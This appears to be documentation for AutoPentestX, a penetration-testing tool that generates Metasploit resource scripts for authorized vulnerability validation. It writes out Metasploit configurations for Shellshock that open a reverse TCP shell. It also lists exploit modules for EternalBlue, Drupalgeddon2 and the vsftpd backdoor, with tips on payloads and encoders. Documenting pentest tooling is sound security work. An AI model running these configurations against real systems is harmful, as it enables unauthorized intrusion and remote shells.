> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/Gowtham-Darkseid/AutoPentestX/llms.txt
> Use this file to discover all available pages before exploring further.

# Exploit Scripts

> Metasploit RC scripts for manual vulnerability validation

## Overview

AutoPentestX generates Metasploit Resource (RC) scripts during the exploitation assessment phase. These scripts allow security professionals to manually validate identified vulnerabilities in controlled environments. All scripts are generated in **SAFE MODE** by default and require manual activation.

<Note>
  **Safe Mode**: AutoPentestX never automatically executes exploits. All exploitation is simulated, and RC scripts are provided for manual review and execution by authorized professionals only.
</Note>

## RC Script Location

All Metasploit resource scripts are saved to the `exploits/` directory:

```
exploits/
└── exploit_192.168.1.100_80_20251130_143215.rc
```

**Naming Convention**: `exploit_{target}_{port}_{timestamp}.rc`

## RC Script Structure

Each generated script follows this format:

```ruby theme={null}
# Metasploit Resource Script
# Generated by AutoPentestX
# Target: 192.168.1.100:80
# Date: 2025-11-30 14:32:15

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set RPORT 80
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
check
# Exploit execution disabled in safe mode
# Uncomment to execute: exploit
```

### Script Components

<Accordion title="Header Comments">
  ```ruby theme={null}
  # Metasploit Resource Script
  # Generated by AutoPentestX
  # Target: 192.168.1.100:80
  # Date: 2025-11-30 14:32:15
  ```

  Metadata for tracking:

  * Script purpose
  * Generator tool
  * Target information
  * Generation timestamp
</Accordion>

<Accordion title="Exploit Module">
  ```ruby theme={null}
  use exploit/multi/http/apache_mod_cgi_bash_env_exec
  ```

  Specifies the Metasploit exploit module to load based on:

  * Detected vulnerability
  * Service version
  * CVE matching
</Accordion>

<Accordion title="Target Configuration">
  ```ruby theme={null}
  set RHOSTS 192.168.1.100  # Remote target
  set RPORT 80               # Vulnerable port
  ```

  Pre-configured with scan results:

  * `RHOSTS`: Target IP or hostname
  * `RPORT`: Service port number
</Accordion>

<Accordion title="Payload Configuration">
  ```ruby theme={null}
  set PAYLOAD generic/shell_reverse_tcp
  set LHOST 0.0.0.0          # Your attack machine IP
  set LPORT 4444              # Listening port
  ```

  Default payload settings:

  * Reverse TCP shell (most compatible)
  * Placeholder `LHOST` (must be updated)
  * Standard port 4444
</Accordion>

<Accordion title="Check Command">
  ```ruby theme={null}
  check
  ```

  Non-invasive vulnerability check:

  * Verifies if target is vulnerable
  * Does not execute exploit
  * Safe for production systems
</Accordion>

<Accordion title="Exploit Command (Commented)">
  ```ruby theme={null}
  # Exploit execution disabled in safe mode
  # Uncomment to execute: exploit
  ```

  Manual activation required:

  * Prevents accidental execution
  * Requires explicit decision
  * Ensures authorized use only
</Accordion>

## Using RC Scripts

### Loading in Metasploit Console

<CodeGroup>
  ```bash Interactive Mode theme={null}
  # Start Metasploit
  msfconsole

  # Load RC script
  msf6 > resource exploits/exploit_192.168.1.100_80_20251130_143215.rc

  # Script will load module and set options
  # Review settings before proceeding
  msf6 exploit(apache_mod_cgi_bash_env_exec) > show options
  ```

  ```bash Command Line theme={null}
  # Load script directly on startup
  msfconsole -r exploits/exploit_192.168.1.100_80_20251130_143215.rc
  ```
</CodeGroup>

### Checking Vulnerability

After loading the RC script:

```bash theme={null}
msf6 exploit(apache_mod_cgi_bash_env_exec) > check

[*] 192.168.1.100:80 - The target appears to be vulnerable.
```

**Check command results**:

* `The target appears to be vulnerable` - Exploit likely to succeed
* `The target is not exploitable` - Target not vulnerable
* `Unknown` - Unable to determine (may still be vulnerable)

### Configuring Payload

Update the `LHOST` before execution:

```bash theme={null}
# Set your attacker machine IP
msf6 exploit(apache_mod_cgi_bash_env_exec) > set LHOST 192.168.1.50

# Optionally change port
msf6 exploit(apache_mod_cgi_bash_env_exec) > set LPORT 4444

# Verify settings
msf6 exploit(apache_mod_cgi_bash_env_exec) > show options
```

### Executing Exploit (Manual Only)

<Note>
  **WARNING**: Only execute exploits on systems you own or have explicit written authorization to test. Unauthorized exploitation is illegal.
</Note>

```bash theme={null}
# After verifying all settings and authorization
msf6 exploit(apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Command shell session 1 opened

shell>
```

## Exploit Database

AutoPentestX includes built-in exploit mappings for common vulnerabilities:

### FTP Exploits

| Service        | Exploit Module                           | Description                              |
| -------------- | ---------------------------------------- | ---------------------------------------- |
| vsftpd 2.3.4   | `exploit/unix/ftp/vsftpd_234_backdoor`   | VSFTPD v2.3.4 Backdoor Command Execution |
| ProFTPD 1.3.3c | `exploit/unix/ftp/proftpd_133c_backdoor` | ProFTPD 1.3.3c Backdoor                  |

### HTTP Exploits

| Vulnerability | Exploit Module                                    | Description                                         |
| ------------- | ------------------------------------------------- | --------------------------------------------------- |
| Shellshock    | `exploit/multi/http/apache_mod_cgi_bash_env_exec` | Apache mod\_cgi Bash Environment Variable Injection |
| Drupalgeddon2 | `exploit/unix/webapp/drupal_drupalgeddon2`        | Drupal Remote Code Execution                        |

### SMB Exploits

| CVE           | Exploit Module                             | Description                           | Safe    |
| ------------- | ------------------------------------------ | ------------------------------------- | ------- |
| CVE-2017-0144 | `exploit/windows/smb/ms17_010_eternalblue` | EternalBlue SMB Remote Code Execution | ⚠️ No\* |

\*Potentially destructive - skipped in safe mode

## Exploit Matching Logic

AutoPentestX uses two methods to match exploits:

### 1. Service Version Matching

Matches service banners to known vulnerable versions:

```python theme={null}
# Example: modules/exploit_engine.py:84-92
service = "ftp"
version = "vsftpd 2.3.4"

# Matches exploit_db key "vsftpd 2.3.4"
exploit = {
    'name': 'vsftpd_234_backdoor',
    'module': 'exploit/unix/ftp/vsftpd_234_backdoor',
    'confidence': 'HIGH'
}
```

### 2. CVE-to-Exploit Mapping

Matches CVE identifiers to exploit modules:

```python theme={null}
# Example: modules/exploit_engine.py:99-114
cve_exploits = {
    'CVE-2017-0144': 'EternalBlue',
    'CVE-2014-6271': 'Shellshock',
    'CVE-2018-7600': 'Drupalgeddon2'
}
```

## Exploitation Output

During scan execution, the exploitation phase logs:

```
[STEP 6] Exploitation Assessment (Safe Mode)...
============================================================
AutoP entestX - Exploit Matching
============================================================

[✓] Exploit matched: apache_mod_cgi_bash_env_exec for port 80

[*] Total exploits matched: 1

============================================================
AutoP entestX - Exploitation Simulation
============================================================
Safe Mode: ENABLED
Target: 192.168.1.100
============================================================

[*] Running in SAFE MODE - No actual exploitation will occur
[*] Generating exploit feasibility reports...

[*] Simulating exploit: exploit/multi/http/apache_mod_cgi_bash_env_exec
    Target: 192.168.1.100:80
    Payload: generic/shell_reverse_tcp
[✓] Metasploit RC script saved: exploits/exploit_192.168.1.100_80_20251130_143215.rc
[*] Port 80: apache_mod_cgi_bash_env_exec - SIMULATED

============================================================
EXPLOITATION SUMMARY
============================================================
Exploits matched: 1
Exploits simulated: 1
Safe mode: ENABLED
============================================================

[i] Note: All exploitation was simulated only.
[i] RC scripts generated for manual testing if needed.
```

## Customizing RC Scripts

After generation, you can manually customize scripts:

### Change Payload

```ruby theme={null}
# Original
set PAYLOAD generic/shell_reverse_tcp

# Meterpreter (more features)
set PAYLOAD windows/meterpreter/reverse_tcp

# Bind shell (alternative)
set PAYLOAD windows/shell/bind_tcp
set RHOST 192.168.1.100
```

### Add Advanced Options

```ruby theme={null}
# Enable verbose output
set VERBOSE true

# Set timeout
set WfsDelay 30

# Configure encoder
set ENCODER x86/shikata_ga_nai

# Set target index
set TARGET 0
```

### Multiple Attempts

```ruby theme={null}
# Try different payloads automatically
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set RPORT 80

# Attempt 1: Generic shell
set PAYLOAD generic/shell_reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
check
# exploit

# Attempt 2: Command execution
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.1.50
set LPORT 4445
check
# exploit
```

## Safe Mode Behavior

AutoPentestX implements multiple safety layers:

<Accordion title="Exploit Classification">
  ```python theme={null}
  # modules/exploit_engine.py:22-52
  exploit_db = {
      'Shellshock': {
          'name': 'apache_mod_cgi_bash_env_exec',
          'module': 'exploit/multi/http/apache_mod_cgi_bash_env_exec',
          'safe': True  # Safe to check
      },
      'EternalBlue': {
          'name': 'ms17_010_eternalblue',
          'module': 'exploit/windows/smb/ms17_010_eternalblue',
          'safe': False  # Potentially destructive
      }
  }
  ```

  Exploits marked as `safe: False` are **automatically skipped** in safe mode.
</Accordion>

<Accordion title="Simulated Execution">
  ```python theme={null}
  # modules/exploit_engine.py:119-154
  if not self.safe_mode:
      print("[!] WARNING: Safe mode disabled")
      return {'status': 'BLOCKED'}

  # Only simulate
  result = {
      'status': 'SIMULATED',
      'safe_mode': True,
      'result': 'Exploit would be executed in non-safe mode'
  }
  ```

  Even with Metasploit available, exploits are never automatically executed.
</Accordion>

<Accordion title="RC Script Comments">
  All RC scripts include commented exploit commands:

  ```ruby theme={null}
  # Exploit execution disabled in safe mode
  # Uncomment to execute: exploit
  ```

  This prevents accidental execution via `msfconsole -r script.rc`.
</Accordion>

## Exploitation Report

Generate a JSON report of all exploitation attempts:

```python theme={null}
from modules.exploit_engine import ExploitEngine

exploit_engine = ExploitEngine(safe_mode=True)
# ... perform exploitation assessment ...
exploit_engine.generate_exploit_report('exploits/exploitation_report.json')
```

**Output format**:

```json theme={null}
{
  "timestamp": "2025-11-30T14:32:45",
  "safe_mode": true,
  "metasploit_available": true,
  "exploitation_results": [
    {
      "port": 80,
      "exploit_name": "apache_mod_cgi_bash_env_exec",
      "status": "SIMULATED",
      "description": "Apache mod_cgi Bash Environment Variable Code Injection",
      "confidence": "HIGH",
      "rc_script": "exploits/exploit_192.168.1.100_80_20251130_143215.rc"
    }
  ],
  "summary": {
    "total_attempts": 1,
    "simulated": 1,
    "skipped": 0,
    "successful": 0
  }
}
```

## Metasploit Detection

AutoPentestX automatically checks for Metasploit availability:

```
[✓] Metasploit Framework detected
```

Or:

```
[!] Metasploit not found - Exploitation features limited
```

If Metasploit is not installed, RC scripts are still generated but cannot be loaded.

### Installing Metasploit

```bash theme={null}
# Kali Linux (pre-installed)
msfconsole -v

# Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Verify installation
which msfconsole
```

## Best Practices

1. **Always Review Scripts**: Inspect RC scripts before loading in Metasploit
2. **Verify Authorization**: Ensure written permission before exploitation
3. **Use Check Command**: Run `check` before `exploit` to verify vulnerability
4. **Update LHOST**: Always set your correct attacker IP address
5. **Lab Environment**: Test exploits in isolated lab environments first
6. **Document Actions**: Keep records of all exploitation attempts
7. **Safe Payloads**: Start with non-destructive payloads (reverse shells)
8. **Backup Targets**: Back up target systems before exploitation (if possible)

<Note>
  **Legal Disclaimer**: Unauthorized exploitation of computer systems is illegal in most jurisdictions. Always obtain explicit written permission before conducting penetration tests. AutoPentestX is designed for authorized security assessments only.
</Note>

## Troubleshooting

<Accordion title="No RC scripts generated">
  **Cause**: No exploits matched to vulnerabilities

  **Solution**:

  * Verify vulnerabilities were detected
  * Check if Metasploit is installed
  * Review logs for exploit matching errors
  * Manually search Metasploit for applicable exploits
</Accordion>

<Accordion title="Exploit marked as SKIPPED">
  **Cause**: Exploit flagged as potentially destructive

  **Example**:

  ```
  [!] Skipping potentially dangerous exploit: ms17_010_eternalblue
  ```

  **Solution**:

  * Review exploit safety classification
  * Use in isolated lab environment only
  * Manually execute with extreme caution
</Accordion>

<Accordion title="Exploit fails with 'not vulnerable'">
  **Cause**: False positive from automated detection

  **Solution**:

  ```bash theme={null}
  # Verify manually
  msf6 > check
  msf6 > show options
  msf6 > set VERBOSE true
  msf6 > check
  ```
</Accordion>

<Accordion title="Payload doesn't connect">
  **Cause**: Firewall, incorrect LHOST, or payload mismatch

  **Solution**:

  ```bash theme={null}
  # Verify network connectivity
  ping 192.168.1.100

  # Check LHOST is reachable from target
  # Try different payload
  set PAYLOAD windows/meterpreter/bind_tcp
  ```
</Accordion>

## Related Resources

* [PDF Reports](/output/pdf-reports) - Exploitation results in reports
* [Risk Assessment](/core-features/risk-assessment) - How exploitability affects risk scoring
* [Log Files](/output/logs) - Debugging exploitation issues
* [Metasploit Documentation](https://docs.metasploit.com/) - Official Metasploit guides